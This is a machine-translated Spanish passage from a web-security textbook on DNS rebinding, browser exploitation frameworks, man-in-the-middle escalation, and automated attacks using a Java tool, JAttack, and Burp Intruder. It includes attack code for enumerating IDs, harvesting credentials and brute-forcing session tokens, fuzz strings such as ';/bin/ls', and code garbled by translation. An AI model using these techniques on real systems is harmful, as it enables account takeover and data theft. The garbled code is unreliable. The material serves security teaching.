vez el nombre de dominio se resuelva en la dirección IP de una aplicación de terceros ,
a la que se dirige el atacante.
n Las solicitudes posteriores al nombre de dominio del atacante se envían a la aplicación
de destino. Dado que se encuentran en el mismo dominio que la página original del
atacante, la política del mismo origen permite que la secuencia de comandos del
atacante recupere el contenido de las respuestas de la aplicación de destino y se las
envíe de vuelta al atacante, posiblemente en un dominio diferente controlado por el
atacante.
Este ataque enfrenta varios obstáculos, incluidos los mecanismos en algunos navegadores
para continuar usando una dirección IP previamente resuelta, incluso si el dominio se ha
reenviado a una dirección diferente. Además, el encabezado Host enviado por el navegador
generalmente todavía se refiere al dominio del atacante, no al de la aplicación de destino, lo
que puede causar problemas. Históricamente, han existido métodos mediante los cuales se
pueden eludir estos obstáculos en diferentes navegadores. Además del navegador, los
ataques de reenlace de DNS se pueden realizar contra las extensiones del navegador y los
proxies web, todos los cuales pueden comportarse de diferentes maneras.
Tenga en cuenta que en los ataques de reenlace de DNS, las solicitudes a la aplicación
de destino aún se realizan en el contexto del dominio del atacante, en lo que respecta al
navegador. Por lo tanto, las cookies para el dominio real de la aplicación de destino no se
incluyen en estas solicitudes. Por esta razón, el contenido que se puede recuperar del objetivo
a través del reenlace de DNS es el mismo que podría recuperar cualquier persona que pueda
realizar solicitudes directas al objetivo. La técnica es principalmente de interés, por lo tanto,
donde existen otros controles para evitar que un atacante interactúe directamente con el
objetivo. Por ejemplo, se puede hacer que un usuario que reside en las redes internas de una
organización, a las que no se puede acceder directamente desde Internet, recupere contenido
de otros sistemas en esas redes y transmita este contenido al atacante.
Estas son algunas de las acciones que se pueden llevar a cabo en este tipo de marcos:
n Atacar otras aplicaciones web accesibles a través del navegador del usuario
comprometido al obligar al navegador a enviar solicitudes maliciosas
n Forzando brutamente el historial de navegación del usuario y enviándolo al atacante
La Figura 13-9 muestra a BeEF realizando un escaneo de puertos de la propia computadora del
usuario víctima.
Otro marco de explotación de navegador altamente funcional es XSS Shell, producido por
Ferruh Mavituna. Proporciona una amplia gama de funciones para manipular hosts zombis
comprometidos a través de XSS, incluida la captura de pulsaciones de teclas, contenido del
portapapeles, movimientos del mouse, capturas de pantalla e historial de URL, así como la
inyección de comandos JavaScript arbitrarios. También permanece residente en el navegador del
usuario si navega a otras páginas dentro de la aplicación.
Ataques Man-in-the-Middle
Los capítulos anteriores describieron cómo un atacante en una posición adecuada puede
interceptar datos confidenciales, como contraseñas y tokens de sesión, si una aplicación utiliza
comunicaciones HTTP sin cifrar. Lo que es más sorprendente es que aún se pueden realizar
algunos ataques graves incluso si una aplicación usa HTTPS para todos los datos confidenciales
y el usuario objetivo siempre verifica que HTTPS se esté usando correctamente.
<script src=”http://wahh-app.com/help.js”></script>
Machine Translated by Google
Este comportamiento de usar direcciones URL absolutas para incluir secuencias de comandos sobre
HTTP aparece en numerosas aplicaciones de alto perfil en la web hoy en día. En esta situación, un atacante
man-in-the-middle activo podría, por supuesto, modificar cualquier respuesta HTTP para ejecutar código de
script arbitrario. Sin embargo, debido a que la política del mismo origen generalmente trata el contenido
cargado a través de HTTP y HTTPS como perteneciente a diferentes orígenes, esto no permitiría que el
atacante comprometa el contenido al que se accede mediante HTTPS.
Para superar este obstáculo, el atacante puede inducir a un usuario a cargar la misma página a través
de HTTPS modificando cualquier respuesta HTTP para provocar una redirección o reescribiendo los
objetivos de los enlaces en otra respuesta. Cuando el usuario carga la página de ayuda a través de HTTPS,
su navegador ejecuta el script especificado mediante HTTP. Fundamentalmente, algunos navegadores no
muestran ninguna advertencia en esta situación.
El atacante puede entonces devolver su código de secuencia de comandos arbitrario en la respuesta de la
secuencia de comandos incluida. Este script se ejecuta en el contexto de la respuesta HTTPS, lo que
permite al atacante comprometer este y otros contenidos a los que se accede a través de HTTPS.
Suponga que la aplicación a la que se dirige no usa HTTP simple para ningún contenido. Un atacante
aún puede inducir al usuario a realizar solicitudes al dominio de destino utilizando HTTP simple devolviendo
una redirección de una solicitud HTTP realizada a cualquier otro dominio. Aunque es posible que la aplicación
en sí ni siquiera escuche las solicitudes HTTP en el puerto 80, el atacante puede interceptar estas solicitudes
inducidas y devolver contenido arbitrario en respuesta a ellas. En esta situación, se pueden usar varias
técnicas para escalar el compromiso al origen HTTPS para el dominio de la aplicación:
n Primero, como se describió para los ataques de inyección de cookies, el atacante puede usar una
respuesta a través de HTTP simple para establecer o actualizar un valor de cookie que se usa en
las solicitudes HTTPS. Esto se puede hacer incluso para las cookies que se configuraron
originalmente a través de HTTPS y se marcaron como seguras. Si los valores de las cookies se
procesan de forma insegura mediante el código de secuencia de comandos que se ejecuta en el
origen HTTPS, se puede utilizar un ataque de inyección de cookies para generar un exploit XSS a través de la cookie.
Los ataques que acabamos de describir se basan en algún método para inducir al usuario a realizar una
solicitud HTTP arbitraria al dominio de destino, como devolver una respuesta de redirección de una solicitud
HTTP que el usuario realiza a cualquier otro dominio. Podría pensar que un usuario paranoico de seguridad
estaría a salvo de esta técnica.
Supongamos que el usuario accede a un solo sitio web a la vez y reinicia su navegador antes de acceder a
cada nuevo sitio. Supongamos que inicia sesión en su aplicación bancaria,
Machine Translated by Google
que usa HTTPS puro, desde un nuevo navegador limpio. ¿Puede verse comprometido
por un ataque activo de hombre en el medio?
La inquietante respuesta es que sí, probablemente pueda verse comprometido. Los navegadores
actuales realizan numerosas solicitudes HTTP simples en segundo plano, independientemente de los
dominios que visite el usuario. Los ejemplos comunes incluyen listas antiphishing, pings de versión y
solicitudes de fuentes RSS. Un atacante puede responder a cualquiera de estas solicitudes con una
redirección al dominio de destino mediante HTTP. Cuando el navegador sigue silenciosamente la
redirección, se puede lanzar uno de los ataques ya descritos, primero para comprometer el origen
HTTP para el dominio objetivo y luego para escalar este compromiso al origen HTTPS.
Los usuarios paranoicos de seguridad que necesitan acceder a contenido sensible protegido por
HTTPS a través de una red que no es de confianza pueden (probablemente) evitar la técnica que se
acaba de describir configurando la configuración del proxy de su navegador para usar un puerto local
no válido para todos los protocolos que no sean HTTPS. Incluso si hacen esto, es posible que aún
deban preocuparse por los ataques activos contra SSL, un tema que está fuera del alcance de este libro.
Resumen
Hemos examinado una gran variedad de formas en que los defectos en una aplicación web pueden
dejar a sus usuarios expuestos a ataques maliciosos. Muchas de estas vulnerabilidades son complejas
de comprender y descubrir y, a menudo, requieren una cantidad de esfuerzo de investigación que
supera su importancia como base para un ataque que valga la pena. Sin embargo, es común
encontrar que acechando entre una gran cantidad de fallas del lado del cliente sin interés hay una
vulnerabilidad grave que puede aprovecharse para atacar la aplicación en sí. En muchos casos, el
esfuerzo vale la pena.
Además, a medida que la conciencia de la seguridad de las aplicaciones web continúa
evolucionando, es probable que los ataques directos contra el componente del servidor en sí sean
menos fáciles de descubrir y ejecutar. Los ataques contra otros usuarios, para bien o para mal, son
sin duda parte del futuro de todos.
Preguntas
Las respuestas se pueden encontrar en http://mdsec.net/wahh.
3. ¿Qué tres medidas defensivas se pueden usar para evitar el secuestro de JavaScript?
ing ataques?
Machine Translated by Google
4. Para cada una de las siguientes tecnologías, identifique las circunstancias, si las hubiera,
en las que la tecnología solicitaría /crossdomain.xml para hacer cumplir correctamente
la segregación de dominios: (a) Flash (b) Java (c) HTML5 (d) Silverlight
CAPÍTULO R
14
571
Machine Translated by Google
Existen tres situaciones principales en las que se pueden emplear técnicas automatizadas
personalizadas para ayudarlo a atacar una aplicación web: n Enumeración de
Examinaremos en detalle cada una de estas tres situaciones y las formas en que se pueden
aprovechar las técnicas automatizadas personalizadas para mejorar enormemente sus ataques
contra una aplicación.
n Si los tokens de sesión generados por la aplicación se pueden predecir, es posible que
pueda secuestrar las sesiones de otros usuarios simplemente extrapolando una serie de
tokens que se le emitieron. Dependiendo de la confiabilidad de este proceso, es posible
que deba probar una gran cantidad de tokens candidatos para cada valor válido que se
confirme.
Machine Translated by Google
El enfoque básico
Su primera tarea al formular un ataque automatizado personalizado para enumerar
identificadores válidos es localizar un par de solicitud/respuesta que tenga las
siguientes características:
Detección de aciertos
Existen numerosos atributos de las respuestas en los que se pueden detectar variaciones
sistemáticas y que, por lo tanto, pueden proporcionar la base para un ataque automatizado.
Longitud de respuesta
Es común que las páginas de aplicaciones dinámicas construyan respuestas utilizando una
plantilla de página (que tiene una longitud fija) e inserten contenido por respuesta en esta
plantilla. Si el contenido por respuesta no existe o no es válido (por ejemplo, si se solicitó
una ID de documento incorrecta), la aplicación podría simplemente devolver un
Machine Translated by Google
Cuerpo de respuesta
Es común que los datos realmente devueltos por la aplicación contengan cadenas literales
o patrones que se pueden usar para detectar aciertos. Por ejemplo, cuando se solicita un
ID de documento no válido, la respuesta puede contener la cadena ID de documento no
válido . En algunos casos, donde el código de estado HTTP no varía y la longitud total de
la respuesta puede cambiarse debido a la inclusión de contenido dinámico, la búsqueda
de respuestas para una cadena o patrón específico puede ser el medio más confiable
para identificar coincidencias.
Encabezado de ubicación
En algunos casos, la aplicación responde a cada solicitud de una URL en particular con
una redirección HTTP (un código de estado 301 o 302), donde el objetivo de la redirección
depende de los parámetros enviados en la solicitud. Por ejemplo, una solicitud para ver
un informe puede resultar en una redirección a /download.jsp si el nombre del informe
proporcionado es correcto, oa /error.jsp si es incorrecto. El objetivo de una redirección
HTTP se especifica en el encabezado Ubicación y, a menudo, se puede usar para
identificar coincidencias.
Retrasos de tiempo
En ocasiones, el contenido real de la respuesta del servidor puede ser idéntico cuando se
envían parámetros válidos e inválidos, pero el tiempo necesario para devolver la respuesta
puede diferir sutilmente. Por ejemplo, cuando se envía un nombre de usuario no válido a
una función de inicio de sesión, la aplicación puede responder de inmediato con un
mensaje genérico sin información. Sin embargo, cuando se envía un nombre de usuario válido, el
Machine Translated by Google
La aplicación puede realizar varios procesos de back-end para validar las credenciales
proporcionadas, algunos de los cuales son computacionalmente intensivos, antes de devolver el
mismo mensaje si las credenciales son incorrectas. Si puede detectar esta diferencia de tiempo de
forma remota, puede usarse como un discriminador para identificar aciertos en su ataque.
(Este error también se encuentra a menudo en otros tipos de software, como versiones anteriores
de OpenSSH).
http://mdsec.net/app/ShowPage.ashx?PageNo=10069
Este par de solicitud/respuesta satisface las dos condiciones requeridas para que
ser capaz de montar un ataque automatizado para enumerar las ID de página válidas.
En un caso simple como este, es posible crear un script personalizado rápidamente para realizar
un ataque automatizado. Por ejemplo, la siguiente secuencia de comandos bash lee una lista de ID
de página potenciales de la entrada estándar, utiliza la herramienta netcat para solicitar una URL
que contenga cada ID y registra la primera línea de la respuesta del servidor, que contiene el código
de estado HTTP:
#!/bin/bash
servidor=mdsec.net
puerto=80
hacer
La ejecución de este script con un archivo de entrada adecuado genera el siguiente resultado, que
le permite identificar rápidamente los ID de página válidos:
Puede lograr el mismo resultado con la misma facilidad en un script por lotes de Windows. El
siguiente ejemplo usa la herramienta curl para generar solicitudes y el comando findstr para filtrar la
salida:
Los scripts simples como estos son ideales para realizar una tarea sencilla, como recorrer una lista
de valores de parámetros y analizar la respuesta del servidor para un solo atributo. Sin embargo, en
muchas situaciones es probable que necesite más poder y fl exibilidad de lo que puede ofrecer
fácilmente la secuencia de comandos de la línea de comandos. La preferencia de los autores es utilizar
un lenguaje adecuado orientado a objetos de alto nivel que permita una fácil manipulación de datos
basados en cadenas y proporcione API accesibles para usar sockets y SSL. Los lenguajes que
satisfacen estos criterios incluyen Java, C# y Python. Veremos con más profundidad un ejemplo
usando Java.
Jataque
JAttack es un ejemplo de una herramienta simple pero versátil que demuestra cómo cualquier persona
con algunos conocimientos básicos de programación puede usar la automatización personalizada para
lanzar poderosos ataques contra una aplicación. El código fuente completo de esta herramienta se
puede descargar del sitio web complementario de este libro, http://mdsec.net/ wahh. Sin embargo, más
importantes que el código real son las técnicas básicas involucradas, que explicaremos en breve.
En lugar de simplemente trabajar con una solicitud como un bloque de texto no estructurado,
necesitamos una herramienta para comprender el concepto de un parámetro de solicitud. Este es un nombre
Machine Translated by Google
elemento de datos que puede ser manipulado y que se adjunta a una solicitud de manera
particular. Los parámetros de la solicitud pueden aparecer en la cadena de consulta de la URL,
las cookies HTTP o el cuerpo de una solicitud POST . Comencemos por crear una clase Param
para contener los detalles relevantes:
// JAttack.java
// por Dafydd Stuttard import
java.net.*; importar java.io.*;
parámetro de clase
{
Cadena nombre, valor;
tipo tipo;
ataque booleano;
Tipo de enumeración
{
URL, COOKIES, CUERPO
}
}
interfaz PayloadSource
{
booleano nextPayload(); reinicio
nulo();
Cadena getPayload();
}
El método nextPayload se puede usar para avanzar el estado de la fuente; devuelve verdadero
hasta que se agotan todas sus cargas útiles. El método reset devuelve el estado a su punto inicial.
El método getPayload devuelve el valor de la carga útil actual.
Machine Translated by Google
Reiniciar();
}
Equipado con el concepto de un parámetro de solicitud y una fuente de carga útil, tenemos
suficientes recursos para generar solicitudes reales y procesar las respuestas del servidor.
Primero, especifiquemos alguna configuración para nuestro primer ataque:
clase JAttack
{
// configuración de ataque
String host = “mdsec.net”; puerto int = 80;
Método de cadena = "OBTENER"; Cadena
url = “/app/ShowPage.ashx”;
// estado de ataque
int actualParam = 0;
siguienteSolicitud booleana()
{
if (currentParam >= params.length)
falso retorno;
if (!parámetros[parámetro actual].ataque)
{
actualParam++;
volver siguienteSolicitud();
}
if (!cargas útiles.nextPayload())
{
cargas útiles.reset();
actualParam++;
volver siguienteSolicitud();
}
devolver verdadero;
}
Este motor de solicitud con estado realiza un seguimiento de qué parámetro estamos apuntando actualmente y qué carga
útil de ataque colocar en él. El siguiente paso es construir una solicitud HTTP completa utilizando esta información. Esto implica
insertar cada tipo de parámetro en el lugar correcto de la solicitud y agregar cualquier otro encabezado requerido:
Cadena buildRequest()
{
// construir parámetros
StringBuffer urlParams = nuevo StringBuffer();
StringBuffer cookieParams = nuevo StringBuffer();
StringBuffer bodyParams = nuevo StringBuffer();
for (int i = 0; i < params.length; i++)
{
Valor de cadena = (i == parámetro actual) ?
payloads.getPayload() :
parámetros[i].valor;
Machine Translated by Google
if (parámetros[i].tipo == Parámetro.Tipo.URL)
urlParams.append(parámetros[i].nombre + “=” + valor + “&”);
else if (params[i].type == Param.Type.COOKIE)
cookieParams.append(parámetros[i].nombre + “=” + valor + “; “); else if (params[i].type ==
Param.Type.BODY)
bodyParams.append(parámetros[i].nombre + “=” + valor + “&”);
}
// solicitud de compilación
StringBuffer req = nuevo StringBuffer();
““
req.append(método + if + URL);
(urlParams.length() > 0) req.append(“?” +
urlParams.substring(0, urlParams.length() - 1));
req.append(“ HTTP/1.0\r\nHost: “ if + huésped);
(cookieParams.length() > 0) req.append(“\r\nCookie: “
+ cookieParams.toString());
si (parámetros del cuerpo.longitud() > 0)
{
req.append(“\r\nContent-Type: application/x-www-form-urlencoded”);
req.append(“\r\nContent-Length: “ + (parámetros del cuerpo.longitud() - 1));
req.append(“\r\n\r\n”);
req.append(bodyParams.substring(0, bodyParams.length() - 1));
}
else req.append(“\r\n\r\n”);
volver req.toString();
}
Para enviar nuestras solicitudes, necesitamos abrir conexiones de red al servidor web de
destino. Java facilita la apertura de una conexión TCP, el envío de datos y la lectura de la
respuesta del servidor:
Línea de cuerda;
while (null != (línea = br.readLine())) respuesta.append(línea);
os.close();
br.cerrar();
devolver respuesta.toString();
}
volver salida.toString();
}
Finalmente, ahora tenemos todo listo para lanzar nuestro ataque. Solo necesitamos un
código contenedor simple para llamar a cada uno de los métodos anteriores e imprimir los
resultados hasta que se hayan realizado todas nuestras solicitudes y nextRequest regrese
falso:
void doAttack()
{
System.out.println(“param\tpayload\tstatus\tlength”); Salida de cadena = nulo;
while (siguienteSolicitud())
{
tratar
{
salida = parseResponse(issueRequest(buildRequest()));
} captura (Excepción e)
{
salida = e.toString();
}
System.out.println(params[currentParam].name + “\t” +
payloads.getPayload() + “\t” + salida);
}
}
{
nuevo JAttack().doAttack();
}
¡Eso es! Para compilar y ejecutar este código, debe descargar el SDK de Java
y JRE de Sun y luego ejecute lo siguiente:
¡INTENTALO!
http://mdsec.net/app/
Puede parecer que el ataque que se acaba de ilustrar no es más sofisticado que el
ejemplo original del script bash, que solo requería unas pocas líneas de código. Sin embargo,
debido a cómo está diseñado JAttack, es fácil modificarlo para lanzar ataques mucho más
sofisticados, incorporando múltiples parámetros de solicitud, una variedad de fuentes de
carga útil y un procesamiento de respuestas arbitrariamente complejo. En las siguientes
secciones, haremos algunas adiciones menores al código de JAttack que lo harán
considerablemente más poderoso.
previsto por sus diseñadores. Estos son algunos ejemplos de casos en los que la recolección
automatizada de datos puede ser útil:
n Una aplicación de venta minorista en línea contiene una función para que los clientes
registrados vean sus pedidos pendientes. Sin embargo, si puede determinar los
números de pedido asignados a otros clientes, puede ver la información de sus
pedidos de la misma manera que la suya. n Una función de contraseña olvidada se
basa en un desafío configurable por el usuario.
Puede enviar un nombre de usuario arbitrario y ver el desafío asociado.
Al iterar a través de una lista de nombres de usuario enumerados o adivinados, puede
obtener una gran lista de desafíos de contraseña de los usuarios para identificar
aquellos que son fáciles de adivinar. n Una aplicación de flujo de trabajo contiene una
función para mostrar información básica de la cuenta sobre un usuario determinado,
incluido su nivel de privilegio dentro de la aplicación. Al iterar a través del rango de ID
de usuario en uso, puede obtener una lista de todos los usuarios administrativos, que
puede usarse como base para adivinar contraseñas y otros ataques.
Aunque solo los usuarios autenticados pueden acceder a esta función de la aplicación,
existe una vulnerabilidad de control de acceso, lo que significa que cualquier usuario puede
ver los detalles de cualquier otro usuario simplemente modificando el parámetro uid . En otra
vulnerabilidad, los detalles revelados también incluyen las credenciales completas del usuario.
Dado el bajo valor del parámetro uid para nuestro usuario, debería ser fácil predecir los
identifi cadores de otros usuarios.
Cuando se muestran los detalles de un usuario, la fuente de la página contiene los datos
personales dentro de una tabla HTML como la siguiente:
<tr>
<td>Nombre: </td><td>Phill Bellend</td>
</tr>
<tr>
<td>Nombre de usuario: </td><td>phillb</td>
</tr>
Machine Translated by Google
<tr>
<td>Contraseña: </td><td>b3ll3nd</td>
</tr>
...
a = respuesta.longitud();
output.append(response.subSequence(from, to) + “\t”);
}
Eso es todo lo que necesitamos cambiar dentro del código real de la herramienta. Para configurar
JAttack para que se dirija a la solicitud real en la que estamos interesados, debemos actualizar su
configuración de ataque de la siguiente manera:
Esta configuración le indica a JAttack que realice solicitudes a la URL relevante que
contiene los dos parámetros requeridos: la cookie que contiene nuestro token de sesión
actual y el identificador de usuario vulnerable. Solo uno de estos se modificará realmente,
usando el rango de números de uid potenciales especificados.
Cuando ahora ejecutamos JAttack, obtenemos el siguiente resultado:
Como puede ver, el ataque fue exitoso y capturó los detalles de algunos usuarios. Al
ampliar el rango numérico utilizado en el ataque, pudimos extraer la información de inicio
de sesión de cada usuario en la aplicación, con la esperanza de incluir algunos
administradores de la aplicación.
¡INTENTALO!
http://mdsec.net/auth/498/
Tenga en cuenta que si está ejecutando el código JAttack de muestra en este ejemplo de
laboratorio, debe ajustar la URL, la cookie de sesión y el parámetro de ID de usuario utilizados
en su configuración de ataque, de acuerdo con los valores que le proporciona la aplicación.
están presentes. Este tipo de ataque es mucho menos focalizado que los descritos
anteriormente, por las siguientes razones:
n Por lo general, implica enviar el mismo conjunto de cargas útiles de ataque que cada
parámetro a cada página de la aplicación, independientemente de la función normal de
cada parámetro o del tipo de datos que la aplicación espera recibir. Estas cargas útiles
a veces se denominan cadenas fuzz.
n No sabe de antemano con precisión cómo identificar los aciertos. En lugar de monitorear
las respuestas de la aplicación para un indicador específico de éxito, generalmente
necesita capturar tantos detalles como sea posible en una forma clara.
Luego, puede revisar fácilmente esta información para identificar los casos en los que
su cadena de ataque ha desencadenado algún comportamiento anómalo dentro de la
aplicación que amerite una mayor investigación.
norte
' — Esto genera un error en algunos casos de inyección SQL. n ;/bin/ls :
esta cadena provoca un comportamiento inesperado en algunos casos de inyección de
comandos.
Machine Translated by Google
Podemos extender la herramienta JAttack para generar estas cargas útiles creando una nueva
fuente de carga útil:
NOTA Cualquier ataque serio para sondear la aplicación en busca de fallas de seguridad
necesitaría emplear muchas otras cadenas de ataque para identificar otras debilidades y
otras variaciones de los defectos mencionados anteriormente. Consulte el Capítulo 21
para obtener una lista más completa de las cadenas que son efectivas cuando se realiza
la prueba de fuzzing de una aplicación web.
Para usar JAttack para fuzzing, también necesitamos ampliar su código de análisis de respuesta
para proporcionar más información sobre cada respuesta recibida de la aplicación . Una forma
sencilla de mejorar en gran medida este análisis es buscar en cada respuesta una serie de
cadenas y mensajes de error comunes que puedan indicar que se ha producido algún
comportamiento anómalo y registrar cualquier aparición en el resultado de la herramienta.
Machine Translated by Google
Primero, podemos agregar a los datos de configuración del ataque una lista de las cadenas que
queremos buscar:
Esto es todo lo que necesitamos hacer para crear un fuzzer de aplicación web básico. Para
entregar el ataque real, simplemente necesitamos actualizar nuestra configuración de JAttack
para atacar ambos parámetros a la solicitud y usar nuestras cadenas fuzz como cargas útiles:
Con esta configuración en su lugar, podemos lanzar nuestro ataque. En unos pocos segundos,
JAttack ha enviado cada carga útil de ataque dentro de cada parámetro de la solicitud, lo que habría
llevado al menos varios minutos para emitir manualmente. También habría llevado mucho más
tiempo revisar y analizar las respuestas sin procesar recibidas.
La siguiente tarea es inspeccionar manualmente la salida de JAttack e intentar identificar
cualquier resultado anómalo que pueda indicar la presencia de una vulnerabilidad:
En las solicitudes que modifican el parámetro SessionId , la aplicación responde con una
respuesta de redirección que siempre tiene la misma longitud. Este comportamiento no
indica ninguna vulnerabilidad. Esto no es sorprendente, ya que modificar el token de sesión
mientras está conectado generalmente invalida la sesión actual y provoca una redirección
al inicio de sesión.
El parámetro uid es más interesante. Todas las modificaciones a este parámetro provocan
una respuesta que contiene la excepción de cadena. Las respuestas tienen una longitud
variable , lo que indica que las diferentes cargas dan como resultado diferentes respuestas,
por lo que probablemente no se trate solo de un mensaje de error genérico. Yendo más
allá, podemos ver que cuando se envía una comilla simple, la respuesta de la aplicación
contiene la cita de cadena , que probablemente sea parte de un mensaje de error de SQL.
Esto podría ser una falla de inyección SQL, y deberíamos investigar manualmente para
confirmarlo (consulte el Capítulo 9). Además, podemos ver que la carga útil xsstest se repite
en la respuesta de la aplicación. Deberíamos investigar más este comportamiento para
determinar si el mensaje de error se puede aprovechar para realizar un ataque de
secuencias de comandos entre sitios (consulte el Capítulo 12).
¡INTENTALO!
http://mdsec.net/auth/498/
mejor tener una buena interfaz de usuario que te permita configurar cada uno de los ataques
descritos en unos pocos segundos.
Hay muchas situaciones en las que necesita más fl exibilidad en la forma en que se generan
las cargas útiles, lo que requiere muchas fuentes de carga útil más avanzadas que las que
hemos creado. A menudo, también necesitará soporte para SSL, autenticación HTTP ,
solicitudes de subprocesos múltiples, seguimiento automático de redirecciones y codificación
automática de caracteres inusuales dentro de las cargas útiles. Hay situaciones en las que
modificar un solo parámetro a la vez sería demasiado restrictivo. Deberá inyectar una fuente de
carga útil en un parámetro y una fuente diferente en otro. Sería bueno almacenar todas las
respuestas de la aplicación para una fácil referencia , de modo que pueda inspeccionar de
inmediato una respuesta interesante para comprender lo que está sucediendo, e incluso
modificar manualmente la solicitud correspondiente y volver a emitirla. Además de modificar y
emitir una sola solicitud repetidamente, en algunas situaciones debe manejar procesos de
múltiples etapas, sesiones de aplicaciones y tokens por solicitud. También sería bueno integrar
la herramienta con otras herramientas útiles como un proxy y una araña, evitando la necesidad
de cortar y pegar información de un lado a otro.
Burp Intruder es una herramienta única que implementa toda esta funcionalidad. Está
diseñado específicamente para permitirle realizar todo tipo de ataques automatizados
personalizados con un mínimo de configuración y para presentar los resultados con una gran
cantidad de detalles, lo que le permite concentrarse rápidamente en los aciertos y otros casos
de prueba anómalos. También está completamente integrado con las otras herramientas de
Burp Suite. Por ejemplo, puede atrapar una solicitud en el proxy, pasar esto a Intruder para que
sea fuzzeado y pasar resultados interesantes a Repeater para confirmar y explotar todo tipo de
vulnerabilidades.
Describiremos las funciones básicas y la configuración de Burp Intruder y luego veremos
algunos ejemplos de su uso para realizar ataques automatizados personalizados .
Burp Intruder usa un modelo conceptual similar al que usa JAttack, basado en el posicionamiento
de cargas útiles en puntos específicos dentro de una solicitud y una o más fuentes de carga útil.
Sin embargo, Intruder no se limita a insertar cadenas de carga útil en los valores de los
parámetros de solicitud reales. Las cargas útiles se pueden colocar en una subparte del valor
de un parámetro, o en el nombre de un parámetro, o en cualquier lugar dentro de los
encabezados o el cuerpo de una solicitud.
Habiendo identificado una solicitud particular para usarla como base para el ataque, cada
posición de la carga útil se define usando un par de marcadores para indicar el inicio y el final
del punto de inserción de la carga útil, como se muestra en la Figura 14-1.
Machine Translated by Google
Cuando se inserta una carga útil en una posición particular, cualquier texto entre los
marcadores se sobrescribe con la carga útil. Cuando no se inserta una carga útil, en
su lugar se envía el texto entre los marcadores. Esto es necesario para probar un
parámetro a la vez, dejando los demás sin modificar, como cuando se realiza el fuzzing
de la aplicación. Al hacer clic en el botón Auto, Intruder establece posiciones de carga
útil en los valores de todos los parámetros de URL, cookies y cuerpo, lo que automatiza
una tarea tediosa que se realizaba manualmente en JAttack.
El tipo de ataque de francotirador es el que necesitarás con más frecuencia. Funciona de
la misma manera que el motor de solicitud de JAttack, apuntando a una posición de carga útil
a la vez, enviando todas las cargas útiles en esa posición y luego moviéndose a la siguiente
posición. Otros tipos de ataque le permiten apuntar a múltiples posiciones simultáneamente
de diferentes maneras, utilizando múltiples conjuntos de carga útil.
n Iteración personalizada de cargas útiles basada en cualquier esquema sintáctico. Por ejemplo, si la
aplicación usa nombres de usuario con el formato ABC45D, el iterador personalizado se puede
usar para recorrer el rango de todos los nombres de usuario posibles. n Sustitución de caracteres
y casos. A partir de una lista inicial de cargas útiles, Intruder puede modificar caracteres individuales
y sus mayúsculas y minúsculas para generar variaciones.
Esto puede ser útil cuando se utilizan contraseñas de fuerza bruta. Por ejemplo, la
cadena contraseña puede modificarse para convertirse en p4ssword, passw0rd,
Password, PASSWORD, etc.
n Números, que se pueden usar para desplazarse por los ID de documentos, tokens de sesión, etc.
Los números se pueden crear en decimal o hexadecimal, como enteros o fracciones,
secuencialmente, en incrementos escalonados o al azar.
Producir números aleatorios dentro de un rango defi nido puede ser útil al buscar aciertos cuando
tiene una idea de cuán grandes son algunos valores válidos pero no ha identificado ningún patrón
confiable para extrapolarlos. n Fechas, que se pueden utilizar de la misma forma que los números
en algunas situaciones.
Por ejemplo, si un formulario de inicio de sesión requiere que se ingrese una fecha de nacimiento,
esta función se puede usar para aplicar fuerza bruta a todas las fechas válidas dentro de un rango
específico. n Codificaciones Unicode ilegales, que se pueden usar para eludir algunos filtros de
entrada mediante el envío de codificaciones alternativas de caracteres maliciosos. n Bloques de
Además de las funciones de generación de carga útil, puede configurar reglas para
realizar un procesamiento arbitrario en el valor de cada carga útil antes de que se utilice.
Esto incluye manipulación de cadenas y casos, codificación y decodificación en varios
esquemas y hash. Si lo hace, le permite crear cargas útiles efectivas en muchos tipos de
situaciones inusuales.
Machine Translated by Google
Burp Intruder codifica por URL de forma predeterminada cualquier carácter que pueda
invalidar su solicitud si se coloca en la solicitud en su forma literal.
Para muchos tipos de ataques, debe identificar los atributos de las respuestas del servidor que
le interesa analizar. Por ejemplo, al enumerar identifi cadores, es posible que deba buscar en
cada respuesta una cadena específi ca. Al hacer fuzzing, es posible que desee buscar una
gran cantidad de mensajes de error comunes y similares.
Suponga que se dirige a una aplicación que admite el autorregistro para usuarios anónimos.
Usted crea una cuenta, inicia sesión y obtiene acceso a un mínimo de funcionalidad. En esta
etapa, un área de evidente interés son los tokens de sesión de la aplicación. Iniciar sesión
varias veces seguidas genera la siguiente secuencia:
000000-fb2200-16cb12-172ba72551
000000-bc7192-16cb12-172ba7279e
000000-73091f-16cb12-172ba729e8
000000-918cb1-16cb12-172ba72a2a
000000-aa820f-16cb12-172ba72b58
000000-bc8710-16cb12-172ba72e2b
Machine Translated by Google
Para aprovechar la automatización para lanzar este ataque, debe encontrar un solo par
de solicitud/respuesta que pueda usarse para detectar tokens válidos. Por lo general,
cualquier solicitud de una página autenticada de la aplicación servirá para este propósito.
Decide orientar la página presentada a cada usuario después de iniciar sesión:
Debido a lo que sabe sobre la estructura y el manejo de los tokens de sesión, su ataque
necesita modificar solo la parte final del token. De hecho, debido a la secuencia identificada,
el ataque inicial más productivo modifica solo los últimos dígitos del token. En consecuencia,
configura Intruder con una sola posición de carga útil, como se muestra en la Figura 14-2.
Sus cargas útiles deben secuenciarse a través de todos los valores posibles para los últimos
tres dígitos. El token parece usar el mismo conjunto de caracteres que los números
hexadecimales: 0 a 9 y a a f. Así que configura una fuente de carga útil para generar todos los
números hexadecimales en el rango de 0x000 a 0xfff, como se muestra en la Figura 14-3.
En los ataques para enumerar tokens de sesión válidos, la identificación de aciertos suele ser
sencilla. En el presente caso, ha determinado que la aplicación devuelve una respuesta HTTP
200 cuando se proporciona un token válido y una redirección HTTP 302 a la página de inicio de
sesión cuando se proporciona un token no válido. Por lo tanto, no necesita configurar ningún
análisis de respuesta personalizado para este ataque.
Lanzar el ataque hace que Intruder repita rápidamente las solicitudes.
Los resultados del ataque se muestran en forma de tabla. Puede hacer clic en el encabezado de
cada columna para ordenar los resultados según el contenido de esa columna.
Ordenar por código de estado le permite identificar fácilmente los tokens válidos que ha
descubierto, como se muestra en la Figura 14-4. También puede usar las funciones de filtrado y
búsqueda dentro de la ventana de resultados para ayudar a localizar elementos interesantes
dentro de un gran conjunto de resultados.
Machine Translated by Google
Figura 14-4: Clasificación de los resultados de los ataques para identificar rápidamente los impactos
El ataque tiene éxito. Puede tomar cualquiera de las cargas útiles que provocaron las respuestas
HTTP 200, reemplazar los últimos tres dígitos de su token de sesión con esto y, por lo tanto,
